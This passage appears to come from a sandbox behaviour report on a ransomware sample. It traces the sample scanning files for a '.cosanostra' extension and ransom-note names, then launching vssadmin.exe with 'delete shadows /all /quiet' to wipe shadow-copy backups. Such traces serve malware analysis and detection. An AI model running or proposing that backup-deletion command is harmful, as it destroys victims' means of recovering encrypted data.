(lpFirst="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", lpSrch=".cosanostra") returned 0x0 [0089.601] lstrcmpW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.601] lstrcmpW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", lpString2="_uninstalling_.png") returned 1 [0089.601] StrStrIW (lpFirst="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", lpSrch=".cosanostra") returned 0x0 [0089.601] lstrcmpW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.601] lstrcmpW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", lpString2="_uninstalling_.png") returned 1 [0089.601] StrStrIW (lpFirst="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpSrch=".cosanostra") returned 0x0 [0089.601] lstrcmpW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.601] lstrcmpW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpString2="_uninstalling_.png") returned 1 [0089.601] StrStrIW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", lpSrch=".cosanostra") returned 0x0 [0089.601] lstrcmpW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.601] lstrcmpW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", lpString2="_uninstalling_.png") returned 1 [0089.601] StrStrIW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpSrch=".cosanostra") returned 0x0 [0089.601] lstrcmpW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.601] lstrcmpW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpString2="_uninstalling_.png") returned 1 [0089.601] StrStrIW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", lpSrch=".cosanostra") returned 0x0 [0089.601] lstrcmpW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.601] lstrcmpW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", lpString2="_uninstalling_.png") returned 1 [0089.601] StrStrIW (lpFirst="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", lpSrch=".cosanostra") returned 0x0 [0089.601] lstrcmpW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.601] lstrcmpW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", lpString2="_uninstalling_.png") returned 1 [0089.601] StrStrIW (lpFirst="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpSrch=".cosanostra") returned 0x0 [0089.601] lstrcmpW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.601] lstrcmpW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpString2="_uninstalling_.png") returned 1 [0089.601] StrStrIW (lpFirst="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", lpSrch=".cosanostra") returned 0x0 [0089.601] lstrcmpW (lpString1="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.601] lstrcmpW (lpString1="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", lpString2="_uninstalling_.png") returned 1 [0089.602] StrStrIW (lpFirst="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpSrch=".cosanostra") returned 0x0 [0089.602] lstrcmpW (lpString1="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.602] lstrcmpW (lpString1="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpString2="_uninstalling_.png") returned 1 [0089.602] StrStrIW (lpFirst="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", lpSrch=".cosanostra") returned 0x0 [0089.602] lstrcmpW (lpString1="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.602] lstrcmpW (lpString1="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", lpString2="_uninstalling_.png") returned 1 [0089.602] StrStrIW (lpFirst="F90F18257CBB4D84216AC1E1F3BB2C76", lpSrch=".cosanostra") returned 0x0 [0089.602] lstrcmpW (lpString1="F90F18257CBB4D84216AC1E1F3BB2C76", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.602] lstrcmpW (lpString1="F90F18257CBB4D84216AC1E1F3BB2C76", lpString2="_uninstalling_.png") returned 1 [0089.604] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.605] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.605] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.605] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.605] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.605] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.605] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.605] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.605] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.605] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.605] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.605] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.606] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.606] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.606] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.606] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.606] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.606] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.606] StrStrIW (lpFirst="imagesrv.adition[1].xml", lpSrch=".cosanostra") returned 0x0 [0089.606] lstrcmpW (lpString1="imagesrv.adition[1].xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.606] lstrcmpW (lpString1="imagesrv.adition[1].xml", lpString2="_uninstalling_.png") returned 1 [0089.607] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.607] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.607] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.607] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.607] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.607] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.607] StrStrIW (lpFirst="www.google[1].xml", lpSrch=".cosanostra") returned 0x0 [0089.607] lstrcmpW (lpString1="www.google[1].xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.607] lstrcmpW (lpString1="www.google[1].xml", lpString2="_uninstalling_.png") returned 1 [0089.607] StrStrIW (lpFirst="index.dat", lpSrch=".cosanostra") returned 0x0 [0089.607] lstrcmpW (lpString1="index.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.607] lstrcmpW (lpString1="index.dat", lpString2="_uninstalling_.png") returned 1 [0089.607] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.607] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.608] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.608] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.608] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.608] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.608] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.608] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.608] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.608] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.608] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.608] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.608] StrStrIW (lpFirst="www.msn[1].xml", lpSrch=".cosanostra") returned 0x0 [0089.608] lstrcmpW (lpString1="www.msn[1].xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.608] lstrcmpW (lpString1="www.msn[1].xml", lpString2="_uninstalling_.png") returned 1 [0089.620] StrStrIW (lpFirst="au.cab", lpSrch=".cosanostra") returned 0x0 [0089.620] lstrcmpW (lpString1="au.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.620] lstrcmpW (lpString1="au.cab", lpString2="_uninstalling_.png") returned 1 [0089.620] StrStrIW (lpFirst="au.msi", lpSrch=".cosanostra") returned 0x0 [0089.620] lstrcmpW (lpString1="au.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.620] lstrcmpW (lpString1="au.msi", lpString2="_uninstalling_.png") returned 1 [0089.624] StrStrIW (lpFirst="deployment.properties", lpSrch=".cosanostra") returned 0x0 [0089.624] lstrcmpW (lpString1="deployment.properties", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.624] lstrcmpW (lpString1="deployment.properties", lpString2="_uninstalling_.png") returned 1 [0089.632] StrStrIW (lpFirst="Data1.cab", lpSrch=".cosanostra") returned 0x0 [0089.632] lstrcmpW (lpString1="Data1.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.632] lstrcmpW (lpString1="Data1.cab", lpString2="_uninstalling_.png") returned 1 [0089.632] StrStrIW (lpFirst="jre1.7.0_45.msi", lpSrch=".cosanostra") returned 0x0 [0089.632] lstrcmpW (lpString1="jre1.7.0_45.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.632] lstrcmpW (lpString1="jre1.7.0_45.msi", lpString2="_uninstalling_.png") returned 1 [0089.633] StrStrIW (lpFirst="30lcQn0QPXyhPNaEvY.png", lpSrch=".cosanostra") returned 0x0 [0089.633] lstrcmpW (lpString1="30lcQn0QPXyhPNaEvY.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.633] lstrcmpW (lpString1="30lcQn0QPXyhPNaEvY.png", lpString2="_uninstalling_.png") returned 1 [0089.633] StrStrIW (lpFirst="5TxhdJpsU9PhPRXS.csv", lpSrch=".cosanostra") returned 0x0 [0089.633] lstrcmpW (lpString1="5TxhdJpsU9PhPRXS.csv", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.633] lstrcmpW (lpString1="5TxhdJpsU9PhPRXS.csv", lpString2="_uninstalling_.png") returned 1 [0089.633] StrStrIW (lpFirst="7ZgwC.bmp", lpSrch=".cosanostra") returned 0x0 [0089.633] lstrcmpW (lpString1="7ZgwC.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.633] lstrcmpW (lpString1="7ZgwC.bmp", lpString2="_uninstalling_.png") returned 1 [0089.633] StrStrIW (lpFirst="9MulhUeggLkw4anU3G.rtf", lpSrch=".cosanostra") returned 0x0 [0089.633] lstrcmpW (lpString1="9MulhUeggLkw4anU3G.rtf", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.633] lstrcmpW (lpString1="9MulhUeggLkw4anU3G.rtf", lpString2="_uninstalling_.png") returned 1 [0089.639] StrStrIW (lpFirst="glob.js", lpSrch=".cosanostra") returned 0x0 [0089.639] lstrcmpW (lpString1="glob.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.639] lstrcmpW (lpString1="glob.js", lpString2="_uninstalling_.png") returned 1 [0089.639] StrStrIW (lpFirst="glob.settings.js", lpSrch=".cosanostra") returned 0x0 [0089.639] lstrcmpW (lpString1="glob.settings.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.639] lstrcmpW (lpString1="glob.settings.js", lpString2="_uninstalling_.png") returned 1 [0089.639] StrStrIW (lpFirst="addressbook.acrodata", lpSrch=".cosanostra") returned 0x0 [0089.639] lstrcmpW (lpString1="addressbook.acrodata", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.639] lstrcmpW (lpString1="addressbook.acrodata", lpString2="_uninstalling_.png") returned 1 [0089.643] StrStrIW (lpFirst="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", lpSrch=".cosanostra") returned 0x0 [0089.643] lstrcmpW (lpString1="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.643] lstrcmpW (lpString1="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", lpString2="_uninstalling_.png") returned 1 [0089.643] StrStrIW (lpFirst="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", lpSrch=".cosanostra") returned 0x0 [0089.643] lstrcmpW (lpString1="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.643] lstrcmpW (lpString1="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", lpString2="_uninstalling_.png") returned 1 [0089.652] StrStrIW (lpFirst="B7NM1NxgcQXa.m4a", lpSrch=".cosanostra") returned 0x0 [0089.652] lstrcmpW (lpString1="B7NM1NxgcQXa.m4a", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.652] lstrcmpW (lpString1="B7NM1NxgcQXa.m4a", lpString2="_uninstalling_.png") returned 1 [0089.652] StrStrIW (lpFirst="bS1tGMKn AM7BDBpY.flv", lpSrch=".cosanostra") returned 0x0 [0089.652] lstrcmpW (lpString1="bS1tGMKn AM7BDBpY.flv", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.652] lstrcmpW (lpString1="bS1tGMKn AM7BDBpY.flv", lpString2="_uninstalling_.png") returned 1 [0089.652] StrStrIW (lpFirst="BW8QR.mkv", lpSrch=".cosanostra") returned 0x0 [0089.652] lstrcmpW (lpString1="BW8QR.mkv", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.652] lstrcmpW (lpString1="BW8QR.mkv", lpString2="_uninstalling_.png") returned 1 [0089.652] StrStrIW (lpFirst="c9UJHEUK-RJp2dn.ppt", lpSrch=".cosanostra") returned 0x0 [0089.652] lstrcmpW (lpString1="c9UJHEUK-RJp2dn.ppt", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.652] lstrcmpW (lpString1="c9UJHEUK-RJp2dn.ppt", lpString2="_uninstalling_.png") returned 1 [0089.652] StrStrIW (lpFirst="drSx.pps", lpSrch=".cosanostra") returned 0x0 [0089.652] lstrcmpW (lpString1="drSx.pps", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.652] lstrcmpW (lpString1="drSx.pps", lpString2="_uninstalling_.png") returned 1 [0089.652] StrStrIW (lpFirst="g51fiaLZykKGN.m4a", lpSrch=".cosanostra") returned 0x0 [0089.652] lstrcmpW (lpString1="g51fiaLZykKGN.m4a", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.652] lstrcmpW (lpString1="g51fiaLZykKGN.m4a", lpString2="_uninstalling_.png") returned 1 [0089.652] StrStrIW (lpFirst="hCWdQlu.jpg", lpSrch=".cosanostra") returned 0x0 [0089.652] lstrcmpW (lpString1="hCWdQlu.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.653] lstrcmpW (lpString1="hCWdQlu.jpg", lpString2="_uninstalling_.png") returned 1 [0089.654] StrStrIW (lpFirst="jFjSTMWZXkWrp1h3ryE.xls", lpSrch=".cosanostra") returned 0x0 [0089.654] lstrcmpW (lpString1="jFjSTMWZXkWrp1h3ryE.xls", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.654] lstrcmpW (lpString1="jFjSTMWZXkWrp1h3ryE.xls", lpString2="_uninstalling_.png") returned 1 [0089.654] StrStrIW (lpFirst="jZ6QFqchR.wav", lpSrch=".cosanostra") returned 0x0 [0089.654] lstrcmpW (lpString1="jZ6QFqchR.wav", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.654] lstrcmpW (lpString1="jZ6QFqchR.wav", lpString2="_uninstalling_.png") returned 1 [0089.655] StrStrIW (lpFirst="krKKGD-1W2qV0.flv", lpSrch=".cosanostra") returned 0x0 [0089.655] lstrcmpW (lpString1="krKKGD-1W2qV0.flv", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.655] lstrcmpW (lpString1="krKKGD-1W2qV0.flv", lpString2="_uninstalling_.png") returned 1 [0089.655] StrStrIW (lpFirst="Leoglr.xls", lpSrch=".cosanostra") returned 0x0 [0089.655] lstrcmpW (lpString1="Leoglr.xls", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.655] lstrcmpW (lpString1="Leoglr.xls", lpString2="_uninstalling_.png") returned 1 [0089.655] StrStrIW (lpFirst="lHEY.avi", lpSrch=".cosanostra") returned 0x0 [0089.655] lstrcmpW (lpString1="lHEY.avi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.655] lstrcmpW (lpString1="lHEY.avi", lpString2="_uninstalling_.png") returned 1 [0089.655] StrStrIW (lpFirst="LNHyvzfsWxv.m4a", lpSrch=".cosanostra") returned 0x0 [0089.655] lstrcmpW (lpString1="LNHyvzfsWxv.m4a", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.655] lstrcmpW (lpString1="LNHyvzfsWxv.m4a", lpString2="_uninstalling_.png") returned 1 [0089.663] StrStrIW (lpFirst="settings.sol", lpSrch=".cosanostra") returned 0x0 [0089.663] lstrcmpW (lpString1="settings.sol", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.663] lstrcmpW (lpString1="settings.sol", lpString2="_uninstalling_.png") returned 1 [0089.666] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.666] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.666] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.666] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.666] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.666] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.667] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.667] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.667] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 Thread: id = 36 os_tid = 0xacc Thread: id = 38 os_tid = 0xadc Thread: id = 46 os_tid = 0xba8 Process: id = "2" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x34b1a000" os_pid = "0xa24" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa10" cmd_line = " delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e814" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 215 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 216 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 217 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 218 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 219 start_va = 0x77860000 end_va = 0x77a08fff entry_point = 0x77860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 220 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 221 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 222 start_va = 0x7fff6000 end_va = 0x7fff6fff entry_point = 0x0 region_type = private name = "private_0x000000007fff6000" filename = "" Region: id = 223 start_va = 0xff950000 end_va = 0xff97cfff entry_point = 0xff950000 region_type = mapped_file name = "vssadmin.exe" filename = "\\Windows\\System32\\vssadmin.exe" (normalized: "c:\\windows\\system32\\vssadmin.exe") Region: id = 224 start_va = 0x7feffb80000 end_va = 0x7feffb80fff entry_point = 0x7feffb80000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 225 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 226 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 227 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 253 start_va = 0x420000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 254 start_va = 0x77740000 end_va = 0x7785efff entry_point = 0x77740000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 255 start_va = 0x7fefd900000 end_va = 0x7fefd96afff entry_point = 0x7fefd900000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 282 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 283 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 284 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 285 start_va = 0x77640000 end_va = 0x77739fff entry_point = 0x77640000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 286 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 287 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 288 start_va = 0x7fef7e80000 end_va = 0x7fef7e96fff entry_point = 0x7fef7e80000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 289 start_va = 0x7fef7ea0000 end_va = 0x7fef804ffff entry_point = 0x7fef7ea0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 290 start_va = 0x7fefb260000 end_va = 0x7fefb278fff entry_point = 0x7fefb260000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 291 start_va = 0x7fefdb80000 end_va = 0x7fefdc48fff entry_point = 0x7fefdb80000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 292 start_va = 0x7fefdc50000 end_va = 0x7fefdd26fff entry_point = 0x7fefdc50000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 293 start_va = 0x7fefdd30000 end_va = 0x7fefdd3dfff entry_point = 0x7fefdd30000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 294 start_va = 0x7fefed10000 end_va = 0x7fefed76fff entry_point = 0x7fefed10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 295 start_va = 0x7feff0f0000 end_va = 0x7feff1cafff entry_point = 0x7feff0f0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 296 start_va = 0x7feff1d0000 end_va = 0x7feff2fcfff entry_point = 0x7feff1d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 297 start_va = 0x7feff850000 end_va = 0x7feff86efff entry_point = 0x7feff850000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 298 start_va = 0x7feff870000 end_va = 0x7feffa72fff entry_point = 0x7feff870000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 299 start_va = 0x7feffa80000 end_va = 0x7feffb1efff entry_point = 0x7feffa80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 300 start_va = 0xc0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 301 start_va = 0x360000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 302 start_va = 0x520000 end_va = 0x6a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 303 start_va = 0x7fefdd40000 end_va = 0x7fefdd6dfff entry_point = 0x7fefdd40000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 304 start_va = 0x7fefed80000 end_va = 0x7fefee88fff entry_point = 0x7fefed80000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 309 start_va = 0x1c0000 end_va = 0x1c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 310 start_va = 0x250000 end_va = 0x251fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 311 start_va = 0x260000 end_va = 0x26cfff entry_point = 0x260000 region_type = mapped_file name = "vssadmin.exe.mui" filename = "\\Windows\\System32\\en-US\\vssadmin.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\vssadmin.exe.mui") Region: id = 312 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 313 start_va = 0x280000 end_va = 0x280fff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 314 start_va = 0x6b0000 end_va = 0x830fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 315 start_va = 0x840000 end_va = 